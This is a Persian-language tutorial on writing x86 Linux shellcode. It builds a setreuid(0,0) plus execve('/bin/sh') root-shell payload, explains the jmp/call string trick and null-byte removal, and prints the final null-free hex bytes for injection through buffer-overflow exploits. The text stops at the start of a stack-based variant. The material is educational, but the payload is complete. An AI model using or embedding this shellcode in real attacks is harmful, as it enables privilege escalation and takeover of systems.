نحوهء نوشتن شلکد

ترجمه و تألیف: MAGMAG

نوشتن شلکد، مجموعه مهارت هایي هست که خیلي از مردم ازشون بي بهره هستن. خود ساختمان شلکد، به تنهایي از چندین روش هك تشکیل شده.
شلکد باید تو خودش همهء قسمتهاي لازم براي اجرا رو داشته باشه و نباید توش بایتِ null استفاده شده باشه چون null بایتها، نشانگر پایان رشته هستن. و بنابر این اگه یه شلکد، تو خودش null byte داشته باشه، تابع strcpy()، اون رو به عنوان آخر رشته در نظر میگیره.
براي نوشتن شلکد، باید یه شناخت کلي در مورد زبان اسمبلي CPU ِ ماشین هدف، داشته باشیم. با توجه به اینکه آموزش عمیق و اصولي اسمبلي خودش کلي وقت میخواد (3 واحد دانشگاهي). پس ما فقط به قسمتهایي از اسمبلي اشاره میکنیم که براي نوشتن شلکد لازمشون داریم. ولي مسلماً اگه اسمبلي رو به طور کامل بلد باشیم، خیلي بهتر مفاهیم رو درك خواهیم کرد چون اسمبلي به آدم دید سیستمي میده. زبان اسمبلي که ازش استفاده میکنیم رو هم بر اساس معمول ترین CPU ها، زبان اسمبلي CPU هاي x86 انتخاب میکنیم ومن این پیش نیاز رو توي اسلاید PowerPoint توضیح دادم که حتماً قبل از اینکه این مقاله رو بخونین، اون رو بخونین.
دو تا شکل نگارش کلي براي برنامه نویسي به زبان اسمبلي در CPUهاي x86 وجود داره. یکي نگارش AT&T (کامپایلر gas) و دیگري، نگارش Intel (کامپایلر nasm) البته تحت لینوکس. ما از نگارش Intel و کامپایلرnasm استفاده میکنیم.
در این مدل نگارش، تقریباً همهء دستورات اسمبلي، به فرم زیر استفاده میشن:

Instruction <destination>, <source>

در زیر چند تا از دستوراتي که براي نوشتن شلکد لازم داریم، به همراه توضیح هر دستور رو مشاهده میکنید:

دستور	شکل نگارش	توضیح
mov	mov <dest>, <src>	محتویات SRC رو میریزه تو DEST
Add	add <dest>, <src>	محتویات SRC رو به DEST اضافه میکنه (حاصل توي DEST).
Sub	sub <dest>, <src>	محتویات SRC رو از DEST کم میکنه (حاصل توي DEST).
Push	push <target>	محتویات target رو میریزه تو پشته.
Pop	pop <target>	محتویات TOS رو میریزه تو target.
Jmp	jmp <address>	مقدار EIP (IP) رو برابر آدرسي قرار میده که تو <address> تعیین شده.
Call	call <address>	آدرس دستور بعدي که باید اجرا بشه رو میذاره تو پشته و بعدش مقدار EIP (IP) رو برابر <address> قرار میده.
Lea	lea <dest>, <src>	آدرس موثر SRC رو میریزه تو DEST.

دستور	شکل نگارش	توضیح
Int	int <value>	وقفه ء <value> رو صدا میکنه.

System call هاي لينوکس:

همونطور که cpu يه سري دستورات پايه اسمبلي رو در اختيار ما قرار ميده, سيستم عاملها هم يه سري دستورات مخصوص خودشون رو در اختيار ما ميگذارن تا وقتي داريم براي اون سيستم عامل به زبان اسمبلي برنامه مينويسيم, از اون دستورها هم استفاده کنيم. به اين توابع (دستورات)، System call ميگن. تو سيستم عامل لينوکس، يه ليست از System call ها اينجا قرار داره:

/usr/include/asm/unistd.h

با دستور زير، 80 خط اول فايل را با هم ميبينيم:

$ head -n 80 /usr/include/asm/unistd.h

```
#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_

/*
 * This file contains the system call numbers.
 */

#define __NR_exit                1
#define __NR_fork                2
#define __NR_read                3
#define __NR_write               4
#define __NR_open                5
#define __NR_close               6
#define __NR_waitpid             7
#define __NR_creat               8
#define __NR_link                9
#define __NR_unlink             10
#define __NR_execve             11
#define __NR_chdir              12
#define __NR_time               13
#define __NR_mknod              14
#define __NR_chmod              15
#define __NR_lchown             16
#define __NR_break              17
#define __NR_oldstat            18
#define __NR_lseek              19
```

```
#define __NR_getpid             20
#define __NR_mount              21
#define __NR_umount             22
#define __NR_setuid             23
#define __NR_getuid             24
#define __NR_stime              25
#define __NR_ptrace             26
#define __NR_alarm              27
#define __NR_oldfstat           28
#define __NR_pause              29
#define __NR_utime              30
#define __NR_stty               31
#define __NR_gtty               32
#define __NR_access             33
#define __NR_nice               34
#define __NR_ftime              35
#define __NR_sync               36
#define __NR_kill               37
#define __NR_rename             38
#define __NR_mkdir              39
#define __NR_rmdir              40
#define __NR_dup                41
#define __NR_pipe               42
#define __NR_times              43
#define __NR_prof               44
#define __NR_brk                45
#define __NR_setgid             46
#define __NR_getgid             47
#define __NR_signal             48
#define __NR_geteuid            49
#define __NR_getegid            50
#define __NR_acct               51
#define __NR_umount2            52
#define __NR_lock               53
#define __NR_ioctl              54
#define __NR_fcntl              55
#define __NR_mpx                56
#define __NR_setpgid            57
#define __NR_ulimit             58
#define __NR_oldolduname        59
#define __NR_umask              60
#define __NR_chroot             61
#define __NR_ustat              62
#define __NR_dup2               63
#define __NR_getppid            64
#define __NR_getpgrp            65
#define __NR_setsid             66
#define __NR_sigaction          67
#define __NR_sgetmask           68
#define __NR_ssetmask           69
#define __NR_setreuid           70
#define __NR_setregid           71
#define __NR_sigsuspend         72
#define __NR_sigpending         73
```

با استفاده از همون چند تا دستور ساده‌ء اسمبلي که تو بخش قبل توضیح دادیم و System Call هایي که

تو فايل unistd.h وجود دارن، ميشه برنامه هاي مختلفي به زبان اسمبلي نوشت كه كارهاي متفاوتي انجام بدن.

برنامهء Hello World! :

نوشتن اين برنامه ميتونه در آشنائي با زبان برنامه نويسي اسمبلي و System Call ها كمك خوبي باشه.
برنامهء "Hello World!" بايد پيغام "Hello World!" رو چاپ كنه. بنابراين، تابع مناسب براي اين برنامه، تو فايل unistd.h، تابع write() هست. بعدش هم براي اينكه به طور صحيح از برنامه خارج بشيم، به تابع exit() احتياج داريم. اين يعني اينكه اين برنامه بايد دوتا System Call ايجاد كنه. يكي براي write() و يكي هم براي exit() .
اول از همه ببينيم تابع write() به چه آرگومانهايي نياز داره:

$ man 2 write

```
WRITE(2)          Linux Programmer's Manual       WRITE(2)

NAME
      write - write to a file descriptor
SYNOPSIS
       #include <unistd.h>

       ssize_t write(int fd, const void *buf, size_t count);

DESCRIPTION
       write writes up to count bytes to the file referenced by
       the file descriptor fd from the buffer starting at buf.
       POSIX requires that a read() which can be proved to occur
       after a write() has returned returns the new data. Note
       that not all file systems are POSIX conforming.

$ man 2 exit
_EXIT(2)           Linux Programmer's Manual           _EXIT(2)
```

شكل استفاده از تابع رو **بولد** كردم. آرگومان اول، شاخص فايل هست كه يك عدد صحيحه (integer).

عدد شاخص خروجي استاندارد (Standard Output)، يك هست پس ما براي اينكه خروجي برنامه مون مونيتور باشه بايد اين مقدار رو برابر 1 قرار بديم. آرگومان بعدي، يه اشاره گر (Pointer) به يك بافر كاراكتري هست كه شامل رشتهء مورد نظر (جهت چاپ) هست و آرگومان آخر هم سايز بافر مورد نظر هست.
تو اسمبلي، وقتي يه System Call ايجاد ميكنيم، رجيسترهاي EAX, EBX, ECX, EDX براي مشخص كردن شمارهء تابع و آرگومانهاي ورودي اون بكار مين. و بعد با استفاده از يك وقفهء خاص (int 0x80)، به كرنل اعلام ميكنيم كه با استفاده از اين اطلاعات، تابع مورد نظر رو فراخواني كن. EAX مشخص ميكنه كدوم تابع صدا زده بشه و بقيهء رجيسترها، به ترتيب آرگومانهاي اول، دوم و ... تابع مربوطه هستن.
خوب براي نمايش پيغام "Hello World!" روي خروجي، رشتهء Hello World! بايد يه جايي تو حافظه ذخيره بشه.
با توجه به توضيحاتي كه دربارهء زبان اسمبلي و Segmentation ديديم، اين رشته بايد توي Data Segment ذخيره بشه. و بعدش بايد با استفاده از دستورات مختلف اسمبلي توي Code Segment، اطلاعات لازم رو تو رجيسترهاي EAX, EBX,... قرار بديم و وقفهء مربوطه رو صدا كنيم.
توي EAX بايد مقدار 4 قرار داده بشه چون تابع مورد نظر ما (يعني تابع write())، تابع شمارهء 4 از وقفهء مورد نظرمون هست. توي EBX هم بايد مقدار 1 رو قرار بديم كه اين مقدار، مشخصهء فايل هست و تو لينوكس كه هر وسيله اي به عنوان يك فايل شناخته ميشه (مونيتور يك فايل فقط خواندني، پرينتر يك فايل فقط نوشتني و ...)، مشخصهء 1 مربوط به مانيتور هست. توي ECX بايد آدرس رشته مون توي Data Segment رو

قرار بديم و توي EDX هم بايد طول رشته رو قرار بديم (كه اينجا، 13 هست).
بعد از همهء اين كارها بايد وقفهء مربوطه (وقفهء شمارهء 0x80) رو صدا بزنيم تا تابع 4 از اون اجرا بشه.
براي اينكه به طور صحيح از برنامه خارج بشيم، بايد از يك تابع ديگه هم استفاده كنيم. اين تابع، تابع شمارهء 1 از وقفهء 0x80 هست و يك آرگومان هم ميگيره كه در اينجا مقدار صفر خواهد داشت.
كد اسمبلي كل اين ماجرا، به شكل زير در خواهد آمد:

hello.asm

```
section .data    ; DATA تعريف سگمنت

msg     db    "Hello, world!"    ; تعريف رشتهء مورد نظر

section .text     ; CODE تعريف سگمنت

global _start     ; (مربوط به نحوهء كامپايل) نقطهء ورود پيشفرض

_start:


; write آغاز عمليات مربوط به صدا زدن تابع


 mov eax, 4
 mov ebx, 1
 mov ecx, msg
 mov edx, 13
 int 0x80

; exit آغاز عمليات مربوط به صدا زدن تابع

 mov eax,1
 mov ebx,0
 int 0x80
```

اين كد، ميتونه اسمبل و link بشه تا يه فايل باينري قابل اجرا توليد كنه. اون خط مربوط به نحوهء كامپايل، لازمه باشه تا كد به درستي link و اجرا بشه. بعد از اينكه اين كد به صورت يك فايل باينري از نوع **E**xecutable and **L**inking **F**ormat در اومد، بايد لينك بشه:

```
$ nasm -f elf hello.asm
```

```
$ ld hello.o
$ ./a.out
Hello, world!
```

عالیه. خوب با توجه به اینکه نوشتن این برنامه، چندان چنگي به دل نمیزنه و این برنامه زیاد به درد بخور نیست، پس بیاید یه برنامهء مفیدتر بنویسیم. ☺

کد Shell Spawning :

کد Shell Spawning، یك کد ساده هست که به ما رو به شل میرسونه. این کد ساده، میتونه به یك shellcode کامل ارتقا پیدا کنه. دوتا تابعي که براي این کد لازمه، توابع execve() و setreuid() هستن که به ترتیب میشن System Call هاي شمارهء 11 و70 . صدا زدن exeve() در حقیقت براي اجراي این برنامه هست: /bin/sh و صدا زدن setreud() براي بدست آوردن اجازهء root.

خیلي از برنامه هاي با مجوز s، **وقتي لازم باشه**، میتونن به مجوز root برسن و اگه این مجوز، تو خود shellcode بکار گرفته نشه، چیزي که بدست میاد، عملاً یك shell با دسترسي عادي هست.

هیچ احتیاجي به صدا زدن تابع exit() نیست چون یك برنامهء interactive تولید میشه. البته وجود تابع exit() هم ضرري نداره ولي ما ازش استفاده نمیکنیم چون میخوایم حجم برنامه مون کم باشه.

shell.asm

```
section .data

filepath    db   "/bin/shXAAAABBBB"       ; رشتهء ما

section .text

global _start ; Default entry point for ELF linking

_start:

; setreuid(uid_t ruid, uid_t euid)

 mov eax, 70
 mov ebx, 0
 mov ecx, 0
```

```
 int 0x80

; execve(const char *filename, char *const argv [], char *const
envp[])

 mov eax, 0          ; put 0 into eax
 mov ebx, filepath ; آدرس رشته رو تو این رجیستر میریزم
 mov [ebx+7], al   ; مقدار صفر رو بریز رو بایت هفت این رجیستر
                     ;یعني رو حرف هفتم که میشه رو x ;
 mov [ebx+8], ebx  ; آدرس رشته که تو ebx ذخیره شده رو میریزه از بایت هشت
          به بعد از ebx که میشه جایي که AAAA هست;
 mov [ebx+12], eax ; محتویات eax که null هست رو میریزه از بایت 12 به بعد
                  ; که در نتیجه 4 بایت BBBB تبدیل میشه به 4 بایت null
 mov eax, 11       ;            شمارهء تابع که 11 هست رو میریزه تو eax.
lea ecx, [ebx+8]  ;   آدرس جائي که AAAA ذخیره شده بود رو میریزه تو ecx.

lea edx, [ebx+12] ;   آدرس جائي که BBBB ذخیره شده بود رو میریزه تو edx.

int 0x80
```

این کد یه ذره از کد قبلي پیچیده تره. اولین چیزي که جدید به نظر میرسه, این کدها هست:

```
mov [ebx+7], al    ; put the 0 from eax where the X is in the string
                   ; ( 7 bytes offset from the beginning)
mov [ebx+8], ebx   ; put the address of the string from ebx where the
                   ; AAAA is in the string ( 8 bytes offset)
mov [ebx+12], eax  ; put the a NULL address (4 bytes of 0) where the
                   ; BBBB is in the string ( 12 bytes offset)
```

تو اسمبلي, وقتي از براکت استفاده میکنیم, منظور اشاره به محتویات مکان حافظه هست یعني وقتي داریم میگیم [ebx] داریم به مکاني از حافظه اشاره میکنیم که آدرس اون توي رجیستر ebx قرار داره و وقتي میگیم [ebx+7] داریم به هفت بایت جلوتر از اونجا اشاره میکنیم. که تو این برنامه, با توجه به اینکه آدرس شروع رشته تو ebx قرار داره, پس [ebx+7] یعني هفت بایت جلوتر از شروع رشته که میشه دقیقاً روي X تو رشته مون. وقتي داریم میگیم:

Mov [ebx+7] , al

یعني اینکه محتویات رجیستر یک بایتي al (که صفر هست) رو میریزه روي X تو رشته مون:

```
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
/ b i n / s h X A A  A  A  B  B  B  B
```

دو تا دستور بعد هم همين كار رو ميكنن ولي بجاي انتقال يك بايت, از انتقال 4 بايتي استفاده ميكنن و به اين ترتيب دستور اول باعث ميشه كه 4 تا كاراكتر A و دستور دوم باعث ميشه كه 4 تا كاراكتر B با صفر (كه null byte هست) جايگزين بشه.
دو تا دستور ديگه كه جديد به نظر ميرسن, اينها هستن:

```
lea ecx, [ebx+8]  ; Load the address of where the AAAA was in the
                  ; string into ecx
lea edx, [ebx+12] ; Load the address of where the BBBB is in the
                  ; string into edx
```

دستور lea (Load Effective Address) براي بدست آوردن آدرس موثر بكار ميره. به اين ترتيب, در اين مورد, آدرس AAAA توي ecx و آدرس BBBB توي edx قرار ميگيره.
اين تيكه كد براي ادامهء كار لازمه چون آرگومانهاي تابع execve(), بايد به صورت اشاره گري به اشاره گر باشن يعني اين آرگومان بايد يك آدرس باشه. و اين آدرس, آدرس مكاني از حافظه است كه اطلاعات نهائي اونجا قرار دارن. تو اين مثال, رجيستر ecx, در حال حاضر, شامل آدرسي هست كه به يه آدرس ديگه اشاره ميكنه (يعني به جائي كه "AAAA" تو رشته مون قرار داره). edx هم به همين ترتيب شامل آدرسي هست كه داره به "BBBB" اشاره ميكنه (كه البته الآن ديگه اونجا فقط null byte قرار داره).
حالا بياييد به اتفاق اين كد رو لينك و اجرا كنيم:

```
$ nasm -f elf shell.asm
$ ld shell.o
$ ./a.out
sh-2.05a$ exit
exit
$ sudo chown root a.out
$ sudo chmod +s a.out
$ ./a.out
```

```
sh-2.05a#
```

عالیه. برنامه همونطور که انتظار میرفت یه شل به ما داد. و اگه مالك این برنامه root باشه و این برنامه اجازهء s داشته باشه, یه شل با دسترسي root به ما میده.

پرهیز از استفاده از سایر سگمنتها:
با اینکه این برنامه, ما رو به شل رسوند ولي هنوز راه زیادي مونده تا تبدیل به یك شل كد مناسب بشه. بزرگترین مشكل اینه كه رشتهء ما توي data segment ذخیره شده. این طرز نوشتن براي مواقعي خوبه كه ما داریم یه برنامهء كامل و مستقل مینویسیم. ولي شلكد یه برنامهء تروتمیز كامل نیست بلكه یه تیكه كده كه باید به یه برنامهء در حال اجرا تزریق بشه تا به درستي اجرا بشه. رشتهء مورد نظر ما كه الان تو data segment قرار داره, باید یه جوري به وسیلهء دستورات اسمبلي ذخیره بشه. و بعدش هم باید یه راهي پیدا كنیم تا آدرس رشته رو بدست بیاریم. بدتر از همه اینكه آدرس به صورت نسبي بوده و آدرس دقیق شلكد در حال اجرا براي ما مشخص نیست. خوشبختانه دستورات jmp و call میتونن با آدرس دهي نسبي كار كنن. میتونیم از هر دوتاي این دستورات براي پیدا كردن آدرس نسبي رشته مون استفاده كنیم.
همون طوري كه تو پیشنیاز گفته شد, دستور call, محتویات رجیستر EIP(IP) رو تغییر میده تا به یه جاي دیگه از حافظه اشاره كنه. مثل دستور jmp. با این تفاوت كه دستور call, آدرس برگشت رو هم میریزه تو پشته. اگه بعد از دستور call, بجاي قرار گرفتن كد, یه رشته قرار بگیره, ما میتونیم آدرس برگشت كه تو پشته قرار داره رو pop كرده و بجاي استفاده به عنوان آدرس برگشت, ازش به عنوان یه اشاره گر به رشته مون استفاده كنیم ☺.

در کل یه همچین چیزي انجام میشه:
در ابتداي اجراي کدمون, برنامه jump میکنه به ته کد. یعني جائي که دستور call و پشت سرش هم رشته مون قرار گرفته. وقتي دستور call اجرا میشه, آدرس رشته, push میشه تو پشته. دستور call, کنترل اجراي برنامه رو بر میگردونه به بالا و دقیقاً بعد از دستور jmp. پس ما باید بعد از دستور jmp بلافاصله یه خونه رو از پشته رو pop کنیم و این خونه مسلماً همون آدرسي هست که توسط دستور call تو پشته ریخته شده و این آدرس هم آدرس رشته مون هست.
حالا برنامه یه پوینتر به رشته هم داره و میتونه کار خودش رو انجام بده. رشته هم با ظرافت, ته برنامه قرار داده میشه.
به زبان اسمبلي, یه همچین چیزي از آب در میاد:

```
jmp two
one:
pop ebx
کدهاي برنامه اینجا نوشته میشن.
two:
call one
db 'رشته هم اینجا قرار میگیره.'
```

در ابتدا, برنامه میپره به Label (برچسب) ِ two و وقتي call, کنترل اجرا رو بر میگردونه به one, آدرس اولین دستور بعد از call یعني آدرس رشته مون توي پشته push میشه. بعد چون کنترل اجرا به one برگشته, یک واحد از پشته pop شده و تو Ebx قرار میگیره که این واحد, همون آدرس رشته هست. و به این ترتیب, ما آدرس رشته رو تو رجیستر Ebx در اختیار داریم.
کد خالص این عملیات یه همچین چیزي میشه:

shellcode.asm

```
BITS 32

; setreuid(uid_t ruid, uid_t euid)

 mov eax, 70        ; put 70 into eax, since setreuid is syscall #70
 mov ebx, 0         ; put 0 into ebx, to set real uid to root
```

```
 mov ecx, 0          ; put 0 into ecx, to set effective uid to root
 int 0x80            ; Call the kernel to make the system call happen

 jmp short two       ; Jump down to the bottom for the call trick
one:
 pop ebx             ; pop the "return address" from the stack
                     ; to put the address of the string into ebx

; execve(const char *filename, char *const argv [], char *const
envp[])
 mov eax, 0          ; put 0 into eax
 mov [ebx+7], al     ; put the 0 from eax where the X is in the string
                     ; ( 7 bytes offset from the beginning)
 mov [ebx+8], ebx    ; put the address of the string from ebx where
the
                     ; AAAA is in the string ( 8 bytes offset)
 mov [ebx+12], eax   ; put a NULL address (4 bytes of 0) where the
                     ; BBBB is in the string ( 12 bytes offset)
 mov eax, 11         ; Now put 11 into eax, since execve is syscall
#11
 lea ecx, [ebx+8]    ; Load the address of where the AAAA was in the
string
                     ; into ecx
 lea edx, [ebx+12]   ; Load the address of where the BBBB was in the
string
                     ; into edx
 int 0x80            ; Call the kernel to make the system call happen
two:
 call one            ; Use a call to get back to the top and get the
 db '/bin/shXAAAABBBB'       ; address of this string
```

امیدوارم اونقدري انگلیسیتون خوب باشه که توضیحاتش رو خودتون بخونید ;)

حذف کردن null byte ها:

اگه کد بالا رو اسمبل کنیم و به هگزادسیمال تبدیل کنیم, مشاهده خواهیم کرد که هنوز شلکدِ ما قابل استفاده نیست:

```
$ nasm shellcode.asm
$ hexeditor shellcode

00000000 B8 46 00 00 00 BB 00 00 00 00 B9 00 00 00 00
CD .F.............
00000010 80 EB 1C 5B B8 00 00 00 00 88 43 07 89 5B 08
89 ...[......C..[..
00000020 43 0C B8 0B 00 00 00 8D 4B 08 8D 53 0C CD 80 E8
C.......K..S....
00000030 DF FF FF FF 2F 62 69 6E 2F 73 68 58 41 41 41
41 ..../bin/shXAAAA
00000040 42 42 42 42                                  BBBB
```

هر null byte اي كه تو شلكد بكار بره, به عنوان انتهاي رشته در نظر گرفته ميشه (اين رشته رو با اون رشتهء قبلي اشتباه نكنيد. اين رشته, همون رشته اي هست كه مثلا تو تابع strcpy كه تو برنامه استفاده شده, بجاي يه رشتهء مثلاً 5 كاراكتري, اين رشته رو ميخوايم وارد كنيم). وجود اين null byte ها باعث ميشه كه فقط اون دو بايت اول برنامه تو بافر كپي بشن !! براي اينكه شلكد به طور كامل تو بافر قرار داده بشه و اجرا بشه, تمام اون null byte ها بايد يه جوري حذف بشن.
به وضوح ميشه فهميد كه اون قسمتي از كد, كه مقدار ثابت 0 بايد توي يه رجيستر ريخته بشه, جائي هست كه تو اين فرم هگزا دسيمال تبديل شده به null byte.
براي جلوگيري از اين اتفاق, بايد دنبال يه روشي باشيم كه مقدار 0 رو بشه با اون روش توي رجيستر قرار داد ولي عملاً از خود مقدار 0 استفاده نكنيم. روشهاي مختلفي ميشه به كار برد (شيفت دادن رجيستر, تفريق كردن مقدار رجيستر از خودش و ...) كه بهترين روش, استفاده از دستورات كار با بيتها نظير xor هست.
جدول حالات عملگر منطقي xor رو با هم ببينيم:

```
1 xor 1 = 0
0 xor 0 = 0
1 xor 0 = 1
0 xor 1 = 1
```

مي بينيم كه 0 xor 0 =0 و 1 xor 1 هم برابر با صفر هست و اين يعني اينكه هر مقداري كه با خودش xor بشه, نتيجه صفرخواهد بود. پس براي اينكه محتويات يه رجيستر صفر بشه, كافيه اون رو با خودش xor كنيم.
بعد از اعمال تغييرات, شلكد يه همچين چيزي خواهد بود:

shellcode.asm

```
BITS 32

; setreuid(uid_t ruid, uid_t euid)
```

```
 mov eax, 70         ; put 70 into eax, since setreuid is syscall #70
 xor ebx, ebx        ; put 0 into ebx, to set real uid to root
 xor ecx, ecx        ; put 0 into ecx, to set effective uid to root
 int 0x80            ; Call the kernel to make the system call happen

 jmp short two       ; Jump down to the bottom for the call trick
one:
 pop ebx             ; pop the "return address" from the stack
                     ; to put the address of the string into ebx

; execve(const char *filename, char *const argv [], char *const
envp[])
 xor eax, eax        ; put 0 into eax
 mov [ebx+7], al     ; put the 0 from eax where the X is in the string
                     ; ( 7 bytes offset from the beginning)
 mov [ebx+8], ebx    ; put the address of the string from ebx where
the
                     ; AAAA is in the string ( 8 bytes offset)
 mov [ebx+12], eax   ; put the a NULL address (4 bytes of 0) where the
                     ; BBBB is in the string ( 12 bytes offset)
 mov eax, 11         ; Now put 11 into eax, since execve is syscall
#11
 lea ecx, [ebx+8]    ; Load the address of where the AAAA was in the
string
                     ; into ecx
 lea edx, [ebx+12]   ; Load the address of where the BBBB was in the
string
                     ; into edx
 int 0x80            ; Call the kernel to make the system call happen

two:
 call one            ; Use a call to get back to the top and get the
 db '/bin/shXAAAABBBB' ; address of this string
```

بعد از اسمبل کردن این شلکد و تبدیل اون به هگزادسیمال, میبینیم که null byte هاي کمتري به چشم میخوره:

```
00000000 B8 46 00 00 00 31 DB 31 C9 CD 80 EB 19 5B 31
C0 .F...1.1.....[1.
00000010 88 43 07 89 5B 08 89 43 0C B8 0B 00 00 00 8D
4B .C..[..C.......K
00000020 08 8D 53 0C CD 80 E8 E2 FF FF FF 2F 62 69 6E
2F ..S........../bin/
00000030 73 68 58 41 41 41 41 42 42 42 42               shXAAAABBBB
```

با دقت کردن در اولین دستور شلکد و مقایسهء شلکدِ اسمبل شده با کدِ هگز, میبینیم که این سه تا بایت 0, مربوط به این خط از برنامه هستن:

```
mov eax, 70     ; put 70 into eax, since setreuid is syscall #70
```

که به صورت زیر اسمبل شده:

```
B8 46 00 00 00
```

دستور mov eax به صورت مقدار هگزادسیمالِ 0xB8 اسمبل میشه و مقدار دهدهي 70, به صورتِ هگز 0x00000046 اسمبل شده. علت بوجود اومدن اون سه تا null byte, اینه که ما به اسمبلر گفتیم که عمل انتقال رو بصورت 32 بیتي انجام بده. رفع این مشکل کاري نداره. چون با توجه به اینکه عدد دهدهي 70, فقط به 8 بیت فضا احتیاج داره, ما میتونیم این عدد رو تو al هم جا بدیم و به این ترتیب, عمل انتقال رو 1 بایتي کنیم. و به این ترتیب, این خط:

```
mov al, 70     ; put 70 into eax, since setreuid is syscall #70
```

که به صورت B0 46 اسمبل میشه, جایگزین خط قبلي خواهد شد. ولي دقت کنید که با این روش, فقط 1 بایت از رجیستر 4 بایتي eax پر میشه و بقیهء بایتها, مقادیر قبلي خودشون رو حفظ میکنن که این مقادیر قبلي, میتونه هر چیزي باشه ولي ما تو برنامه مون لازم داریم که این بایتهاي باقي مونده هم مقدارشون صفر بشه. پس با یه xor, قبل از انتقال 1 بایتي, کار رو تموم میکنیم:

```
xor eax, eax    ; first eax must be 0 for the next instruction
mov al, 70      ; put 70 into eax, since setreuid is syscall #70
```

بعد از اعمال تغییرات گفته شده, شلکد ما یه همچین چیزي خواهد بود:

shellcode.asm

```
BITS 32

; setreuid(uid_t ruid, uid_t euid)
 xor eax, eax       ; first eax must be 0 for the next instruction
  mov al, 70        ; put 70 into eax, since setreuid is syscall #70
  xor ebx, ebx      ; put 0 into ebx, to set real uid to root
  xor ecx, ecx      ; put 0 into ecx, to set effective uid to root
  int 0x80          ; Call the kernel to make the system call happen
  jmp short two     ; Jump down to the bottom for the call trick
one:
  pop ebx           ; pop the "return address" from the stack
                    ; to put the address of the string into ebx
```

```
; execve(const char *filename, char *const argv [], char *const
envp[])
  xor eax, eax      ; put 0 into eax
  mov [ebx+7], al   ; put the 0 from eax where the X is in the string
                    ; ( 7 bytes offset from the beginning)
  mov [ebx+8], ebx  ; put the address of the string from ebx where
the
                    ; AAAA is in the string ( 8 bytes offset)
  mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the
                    ; BBBB is in the string ( 12 bytes offset)
  mov al, 11        ; Now put 11 into eax, since execve is syscall
#11
  lea ecx, [ebx+8]  ; Load the address of where the AAAA was in the
string
                    ; into ecx
  lea edx, [ebx+12] ; Load the address of where the BBBB was in the
string
                    ; into edx
  int 0x80          ; Call the kernel to make the system call happen
two:
  call one          ; Use a call to get back to the top and get the
  db '/bin/shXAAAABBBB' ; address of this string
```

اگه یه ذره دقت کنید این سوال براتون پیش میاد که پس چرا تو دومین انتقال, قبل از انجام عمل mov, مقدار اون سه بیت دیگه رو صفر نکردیم. و اگه یه ذره بیشتر دقت کنید, جواب این سوال رو پیدا میکنید: چون اولِ برنامه یه بار صفر کرده بودیم و بعدش هم تغییري تو اون سه بایت بوجود نیاوردیم.
حالا اگه این کد رو اسمبل کنیم و به هگز ببریم, دیگه نباید null byte اي باقي مونده باشه:

```
$ nasm shellcode.asm
$ hexedit shellcode
00000000 31 C0 B0 46 31 DB 31 C9 CD 80 EB 16 5B 31 C0 88
1..F1.1.....[1..
00000010 43 07 89 5B 08 89 43 0C B0 0B 8D 4B 08 8D 53 0C
C..[..C....K..S.
00000020 CD 80 E8 E5 FF FF FF 2F 62 69 6E 2F 73 68 58
41 ......./bin/shXA
00000030 41 41 41 42 42 42 42                         AAABBBB
```

حالا که هیچ null byte اي باقي نمونده, میتونیم با خیال راحت شلکد رو تو بافر کپي کنیم.
استفاده از رجیسترهاي 8 بیتي براي حذف null byte ها, باعث شد تا کد ما کوچکتر از قبل بشه. شلکد کوچکتر همیشه بهتره. چون ما در حقیقت همیشه سایز بافر ماشین هدف رو نمیدونیم. این شلکدي که

نوشتيم رو حتي ميشه از اين هم كوچكتر كرد. يه نگاهي به كد بندازيد و خودتون جاي اضافه رو حدس بزنيد.
بله. اون XAAAABBBB آخر رشته مون. اون رو ما در ابتداي كار اضافه كرديم براي اينكه يه مقدار فضاي حافظهء بيشتري به برنامه مون تعلق بگيره تا بتونيم از اون فضاي اضافه براي null byte ها و اون دوتا آدرسي كه بعداً به جاشون گذاشتيم استفاده كنيم. اون موقعي كه شلكد ما يه برنامهء مستقل بود, اين مسئله اهميت داشت كه سيستم فضاي كافي در اختيارش قرار بده ولي حالا كه ما داريم اين شلكد رو به يه بافر ديگه تزريق ميكنيم, و اون دستگاه هيچ وقت فضائي رو به برنامهء ما اختصاص نداده, ديگه لازم نيست اين مسئله برامون مهم باشه. و ما ميتونيم با خيال راحت اين مقدار بايت اضافه رو حذف كنيم و به يه همچين چيزي برسيم:

```
00000000 31 C0 B0 46 31 DB 31 C9 CD 80 EB 16 5B 31 C0 88
1..F1.1.....[1..
00000010 43 07 89 5B 08 89 43 0C B0 0B 8D 4B 08 8D 53 0C
C..[..C....K..S.
00000020 CD 80 E8 E5 FF FF FF 2F 62 69 6E 2F 73
68       ......./bin/sh
```

اين نتيجهء نهائي, يه تيكه شلكدِ تروتميز و كامل بدون null byte هست.
با اين همه اهميتي كه به حذف null byte ها داديم, لازمه از يكي از دستوراتي كه تو اين شلكد بكار برديم, قدرداني فراواني بكنيم!!
اين دستور چيزي نيست جز:

```
mov [ebx+7], al    ; put the 0 from eax where the X is in the string
                   ; ( 7 bytes offset from the beginning)
```

اين دستور در حقيقت, ترفند اي هست براي پرهيز از null byte. ميدونيم كه بالاخره بايد پايان رشته مون, null byte وجود داشته باشه تا بشه به اون گفت رشته. و اگه ميخواستيم اين null byte رو خودمون ته رشته قرار بديم, باعث ميشديم كه شلكد ما يه null byte داشته باشه و ديگه درست

کار نکنه. ولي با استفاده از اين دستور, اون null byte, به طرز زيرکانه اي سر جاش قرار گرفت. با اين دستور ما محتويات al رو ميريزيم تو محل X تو رشته مون. و با توجه به اينکه ما قبلاً به کل رجيستر eax که رجيستر al رو هم شامل ميشه, مقدار صفر داده بوديم پس عملاً اين برنامه, به هنگام اجرا, خودش رو ويرايش ميکنه و يه null byte ته رشته قرار ميده.
اين شلکدي که ما نوشتيم, ميتونه تو هر اکسپلويتي مورد استفاده قرار بگيره و در حقيقت دقيقاً همين شلکد هست که تو خيلي از اکسپلويتها استفاده ميشه.

حتي از اين هم کوچکتر با استفاده از پشته:
هنوز يه ترفندء ديگه وجود داره تا شلکد ما کوچکتر بشه. شلکدي که قبلاً نوشتيم, 46 بايت بود ولي ميشه با استفادهء زيرکانه از پشته, اين مقدار رو به 31 بايت کاهش داد. در اين روش, بجاي استفاده از ترفندء call براي بدست آوردن يک اشاره گر به رشتهء /bin/sh , ما اين رشته رو تو پشته push ميکنيم و براي اشاره گر به رشته, از اشاره گر پشته استفاده ميکنيم. کد زير اين تکنيک رو به ما نشون ميده:

stackshell.asm

```
BITS 32

; setreuid(uid_t ruid, uid_t euid)
